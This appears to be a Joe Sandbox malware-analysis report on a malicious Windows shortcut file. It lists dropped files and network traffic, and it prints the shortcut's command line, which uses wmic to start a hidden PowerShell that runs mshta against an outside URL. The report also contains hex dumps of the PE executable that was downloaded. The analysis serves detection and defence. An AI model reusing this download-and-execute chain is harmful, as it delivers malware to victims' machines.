SHA-512:	41959BF959277F20BABB0A1A548FE6297598A8C93B2A78AC48BCA2624C0FC770208F61711B91F9783578D237D443C602EACFA9BD7FCE87E59D3784B1352FAE27
Malicious:	false
Reputation:	low
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

Process:	C:\Windows\System32\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	49120
Entropy (8bit):	0.0017331682157558962
Encrypted:	false
SSDEEP:	3:Ztt:T
MD5:	0392ADA071EB68355BED625D8F9695F3
SHA1:	777253141235B6C6AC92E17E297A1482E82252CC
SHA-256:	B1313DD95EAF63F33F86F72F09E2ECD700D11159A8693210C37470FCB84038F7
SHA-512:	EF659EEFCAB16221783ECB258D19801A1FF063478698CF4FCE3C9F98059CA7B1D060B0449E6FD89D3B70439D9735FA1D50088568FF46C9927DE45808250AEC2E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

Process:	C:\Windows\System32\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.095703110114614
Encrypted:	false
SSDEEP:	3:YwM2FgCKGWMRX1eRHXWXKSovrj4WA3iygK5k3koZ3Pveys1MglUdo0wFJQAiveyn:Yw7gJGWMXJXKSOdYiygKkXe/egO1qeAc
MD5:	B8EBE1F62E518A06E931BFD2A5B20AEF
SHA1:	B55E7E789E56D285CB918E22681E8AEE432B206D
SHA-256:	5898423CC07829D55A50471086412188642D679BD10FF4BB26D05D99B00D706B
SHA-512:	4FA27560D37E9F51E576FD50594789C1E192E75CD4FA88C06012D3675FADC20BA9F08E969AE531517723C81C61A2B828B441AC17F12E05B1DBC45F532D2F7A1E
Malicious:	false
Preview:	Executing (Win32_Process)->Create()...Method execution successful....Out Parameters:..instance of __PARAMETERS..{...ProcessId = 7152;...ReturnValue = 0;..};....

File type:	MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, Icon number=11, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Entropy (8bit):	1.296359142517176
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	h0UP1BcPk5.lnk
File size:	4'297 bytes
MD5:	8aac762da1e4edaec3b7c4c891d9224c
SHA1:	32599c47d458df430469756ad1773307e3df870a
SHA256:	1e612ff0a9513a7407f349ee34eef01d81224507c6d31544f73cb45c22dcab71
SHA512:	4ebb3c0784b4756e94558553d50e8a3eef158602c9f5d27bec96c911d1824291e005166c7b0fb80cd9b58ef92e668d753bd20c6d2390d439993c37caff787d29
SSDEEP:	24:8lH/BUlgKN4eA+/3ukWNBvLqFmqdd79dsHLIQ:8BuGeHulBzqFVdJ9
TLSH:	63913A146BF90B10F3B68E32587AB321CA7B7C57DD128F1D019145891432A10ED76FAB
File Content Preview:	L..................F.@...........................................................P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........System32..B.....................

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report h0UP1BcPk5.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\warning[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\error[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\error[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\powersearch[1]

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ftuk45i.cki.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3yc2ib5.fvr.psm1

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

\Device\ConDrv

Static File Info

General

File Icon

Static Windows Shortcut Info

General

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
h0UP1BcPk5.lnk

General
Relative Path:	..\..\..\Windows\System32\Wbem\wmic.exe
Command Line Argument:	process call create "powershell -w 1 . \W\S2\mhte https://nins.in/cembra/power/powersearch"
Icon location:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 09:52:01.917006969 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:01.917059898 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:01.917179108 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:01.930391073 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:01.930404902 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:03.738233089 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:03.738390923 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:03.790410042 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:03.790431976 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:03.790667057 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:03.790721893 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:03.793601990 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:03.839327097 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:04.647782087 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:04.647813082 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:04.647860050 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:04.647885084 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:04.647900105 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:04.647926092 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:05.259407997 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:05.259419918 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:05.259490967 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:05.272882938 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:05.272952080 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:05.557800055 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:05.557810068 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:05.557885885 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:05.576168060 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:05.576250076 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:05.600595951 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:05.600670099 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:05.619088888 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:05.619170904 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:05.843688965 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:05.843698025 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:05.843770027 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:05.868398905 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:05.868482113 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:06.095733881 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.095745087 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.095823050 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:06.138987064 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.139067888 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:06.157084942 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.157186985 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:06.175528049 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.176553011 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:06.421330929 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.421340942 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.421510935 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:06.442742109 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.443053007 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:06.461087942 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.461175919 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:06.481357098 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.481488943 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:06.719338894 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.719350100 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.719655991 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:06.737907887 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.739665031 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:06.756232023 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.756985903 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:06.966698885 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.966708899 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:06.967657089 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.007961035 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.008745909 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.030667067 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.030874968 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.047641039 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.048471928 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.256501913 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.256510019 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.256622076 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.301635981 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.301748991 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.318622112 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.318865061 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.334738970 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.334897995 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.546123028 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.546134949 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.546252966 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.587263107 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.587363958 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.603549004 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.603636026 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.619978905 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.620066881 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.838306904 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.838318110 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.838443995 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.877616882 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.877758980 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.895410061 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.895499945 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:07.913739920 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:07.913815022 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:08.448529959 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:08.448539972 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:08.448688030 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:08.463896036 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:08.464044094 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:08.483272076 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:08.483359098 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:08.500180006 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:08.500250101 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:08.516109943 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:08.516293049 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:08.532514095 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:08.532603979 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:08.553734064 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:08.553824902 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:08.747359991 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:08.747437954 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:08.760886908 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:08.760967016 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:08.794697046 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:08.794795990 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.039042950 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.039058924 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.039208889 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.052762985 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.052829981 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.085612059 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.085717916 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.324268103 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.324276924 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.324352980 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.339127064 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.339194059 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.352473974 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.352561951 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.429817915 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.429915905 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.617396116 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.617522955 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.632074118 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.632163048 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.670264006 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.670351982 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.769644022 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.769725084 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.915803909 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.915885925 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.915915966 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.915934086 CET	443	49704	216.10.240.70	192.168.2.5
Dec 8, 2024 09:52:09.915955067 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.915987015 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.919209003 CET	49704	443	192.168.2.5	216.10.240.70
Dec 8, 2024 09:52:09.919225931 CET	443	49704	216.10.240.70	192.168.2.5

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 09:51:59.711761951 CET	60699	53	192.168.2.5	1.1.1.1
Dec 8, 2024 09:52:00.706374884 CET	60699	53	192.168.2.5	1.1.1.1
Dec 8, 2024 09:52:01.723553896 CET	60699	53	192.168.2.5	1.1.1.1
Dec 8, 2024 09:52:01.852212906 CET	53	60699	1.1.1.1	192.168.2.5
Dec 8, 2024 09:52:01.852245092 CET	53	60699	1.1.1.1	192.168.2.5
Dec 8, 2024 09:52:01.871305943 CET	53	60699	1.1.1.1	192.168.2.5

Timestamp	Bytes transferred	Direction	Data
2024-12-08 08:52:03 UTC	335	OUT	GET /cembra/power/powersearch HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: nins.in Connection: Keep-Alive
2024-12-08 08:52:04 UTC	209	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 08:52:04 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 08 Dec 2024 08:09:18 GMT Accept-Ranges: bytes Content-Length: 464688
2024-12-08 08:52:04 UTC	7983	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a0 52 e6 d8 e4 33 88 8b e4 33 88 8b e4 33 88 8b 00 43 8b 8a e7 33 88 8b 00 43 8c 8a fc 33 88 8b 00 43 8d 8a e3 33 88 8b 00 43 89 8a f9 33 88 8b e4 33 89 8b cd 32 88 8b 00 43 80 8a f0 33 88 8b 00 43 77 8b e5 33 88 8b 00 43 8a 8a e5 33 88 8b 52 69 63 68 e4 33 88 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 fd b9 f0 9e 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$R333C3C3C3C332C3Cw3C3Rich3PEL
2024-12-08 08:52:05 UTC	8000	IN	Data Raw: 74 00 00 00 00 52 65 74 75 72 6e 48 72 00 00 00 00 4c 6f 67 4e 74 00 00 00 4c 6f 67 48 72 00 00 00 46 61 69 6c 46 61 73 74 00 00 00 00 25 00 68 00 73 00 28 00 25 00 75 00 29 00 5c 00 25 00 68 00 73 00 21 00 25 00 70 00 3a 00 20 00 00 00 00 00 25 00 68 00 73 00 21 00 25 00 70 00 3a 00 20 00 00 00 00 00 28 00 63 00 61 00 6c 00 6c 00 65 00 72 00 3a 00 20 00 25 00 70 00 29 00 20 00 00 00 25 00 68 00 73 00 28 00 25 00 64 00 29 00 20 00 74 00 69 00 64 00 28 00 25 00 78 00 29 00 20 00 25 00 30 00 38 00 58 00 20 00 25 00 77 00 73 00 00 00 00 00 20 00 20 00 20 00 20 00 00 00 00 00 4d 00 73 00 67 00 3a 00 5b 00 25 00 77 00 73 00 5d 00 20 00 00 00 00 00 43 00 61 00 6c 00 6c 00 43 00 6f 00 6e 00 74 00 65 00 78 00 74 00 3a 00 5b 00 25 00 68 00 73 00 5d 00 20 00 00 00 Data Ascii: tReturnHrLogNtLogHrFailFast%hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs]
2024-12-08 08:52:05 UTC	8000	IN	Data Raw: cc cc cc cc b9 0e 00 07 80 e9 2c f6 ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 56 8b f1 e8 4a 00 00 00 f6 45 08 01 74 07 56 e8 cf 9e 00 00 59 8b c6 5e 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 56 8b f1 e8 7c 05 00 00 f6 45 08 01 74 07 56 e8 9f 9e 00 00 59 8b c6 5e 5d c2 04 00 cc cc cc cc cc cc 8b ff 56 8b f1 57 8b be ac 00 00 00 c7 06 cc 10 40 00 85 ff 74 0f 8b cf ff 15 b4 20 41 00 57 e8 6d 9e 00 00 59 5f 8b ce 5e ff 25 a0 21 41 00 cc cc cc cc cc cc 8b ff 55 8b ec 53 56 57 8b da 8b f1 68 bc 00 00 00 6a 08 83 23 00 ff 15 f4 21 41 00 50 ff 15 f0 21 41 00 8b f8 85 ff 74 25 8b cf ff 15 9c 21 41 00 83 a7 ac 00 00 00 00 8d 8f b4 00 00 00 68 78 12 41 00 c7 07 bc 11 40 00 e8 4d fd ff ff 8b 45 0c 83 Data Ascii: ,UVJEtVY^]UV\|EtVY^]VW@t AWmY_^%!AUSVWhj#!AP!At%!AhxA@ME
2024-12-08 08:52:05 UTC	8000	IN	Data Raw: 0d 00 00 00 00 59 5e c9 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a ff 68 9c f9 40 00 64 a1 00 00 00 00 50 56 a1 04 13 41 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b 35 4c 1c 41 00 85 f6 75 1d 68 98 1e 40 00 e8 f6 fe ff ff 50 ff 15 88 22 41 00 8b f0 89 35 4c 1c 41 00 85 f6 74 10 ff 75 0c 8b ce ff 75 08 ff 15 4c 24 41 00 ff d6 8b 4d f4 64 89 0d 00 00 00 00 59 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a 00 51 68 68 22 40 00 6a 2b ff 75 0c ff 75 08 ff 15 28 20 41 00 83 c4 18 5d c2 08 00 cc cc cc cc cc cc 8b ff 55 8b ec 6a 00 6a 04 8d 45 10 50 51 68 68 22 40 00 6a 2b ff 75 0c ff 75 08 ff 15 28 20 41 00 83 c4 20 5d c2 0c 00 cc cc cc cc cc cc 8b ff 55 8b ec 51 51 53 56 8b 75 14 57 33 ff 89 4d Data Ascii: Y^Ujh@dPVA3PEd5LAuh@P"A5LAtuuL$AMdY^UjQhh"@j+uu( A]UjjEPQhh"@j+uu( A ]UQQSVuW3M
2024-12-08 08:52:05 UTC	8000	IN	Data Raw: 75 f0 ff 15 64 20 41 00 c9 c2 04 00 cc cc cc cc cc cc 68 48 02 00 00 b8 7c fd 40 00 e8 05 6f 00 00 8b 45 08 8b 7d 10 8b 5d 0c 89 85 e0 fd ff ff 8d 85 d0 fd ff ff 50 51 6a 03 6a 00 51 68 20 14 41 00 68 01 00 00 80 8b cf e8 9d da ff ff 8b f0 85 f6 74 35 a1 38 10 41 00 3d 38 10 41 00 74 15 f6 40 1c 08 74 0f 56 ff 70 14 ff 70 10 6a 29 59 e8 0b e1 ff ff 85 f6 7e 09 0f b7 f6 81 ce 00 00 07 80 8b c6 e9 2f 03 00 00 51 8d 8d ac fd ff ff e8 87 08 00 00 83 65 fc 00 8b 85 e0 fd ff ff 8b 00 89 85 e0 fd ff ff 85 c0 74 31 8d 85 e0 fd ff ff 50 e8 42 09 00 00 8b f0 8b 0e e8 be 0f 00 00 83 78 2c 01 74 0d ff 36 8d 8d ac fd ff ff e8 6b 08 00 00 83 bd e0 fd ff ff 00 75 cf 68 78 12 41 00 8d 8d e0 fd ff ff e8 dc be ff ff 8d 95 ac fd ff ff c6 45 fc 01 8d 8d e0 fd ff ff e8 75 f4 Data Ascii: ud AhH\|@oE}]PQjjQh Aht58A=8At@tVppj)Y~/Qet1PBx,t6kuhxAEu
2024-12-08 08:52:05 UTC	8000	IN	Data Raw: 24 41 00 ff d6 8b f0 85 f6 78 27 8b 85 e4 fd ff ff 57 68 c0 01 00 00 6a 01 8b 08 ff b5 e0 fd ff ff 57 8b 71 30 8b ce 50 ff 15 4c 24 41 00 ff d6 8b f0 8d 8d e4 fd ff ff e8 0e 00 00 00 8b c6 e8 3f 4f 00 00 c3 cc cc cc cc cc cc 8b ff 55 8b ec 6a ff 68 9c f9 40 00 64 a1 00 00 00 00 50 56 a1 04 13 41 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b 09 85 c9 74 10 8b 01 51 8b 70 08 8b ce ff 15 4c 24 41 00 ff d6 8b 4d f4 64 89 0d 00 00 00 00 59 5e c9 c3 cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 51 56 8b 75 0c ba 04 01 00 00 2b f1 8d 82 fa fe ff 7f 85 c0 74 1b 0f b7 04 0e 66 85 c0 74 0b 66 89 01 83 c1 02 83 ea 01 75 e2 85 d2 75 03 83 e9 02 f7 da 5e 1b d2 81 e2 86 ff f8 7f 33 c0 66 89 01 8d 82 7a 00 07 80 c9 c2 0c 00 cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 40 a1 04 Data Ascii: $Ax'WhjWq0PL$A?OUjh@dPVA3PEdtQpL$AMdY^UQVu+tftfuu^3fzU@
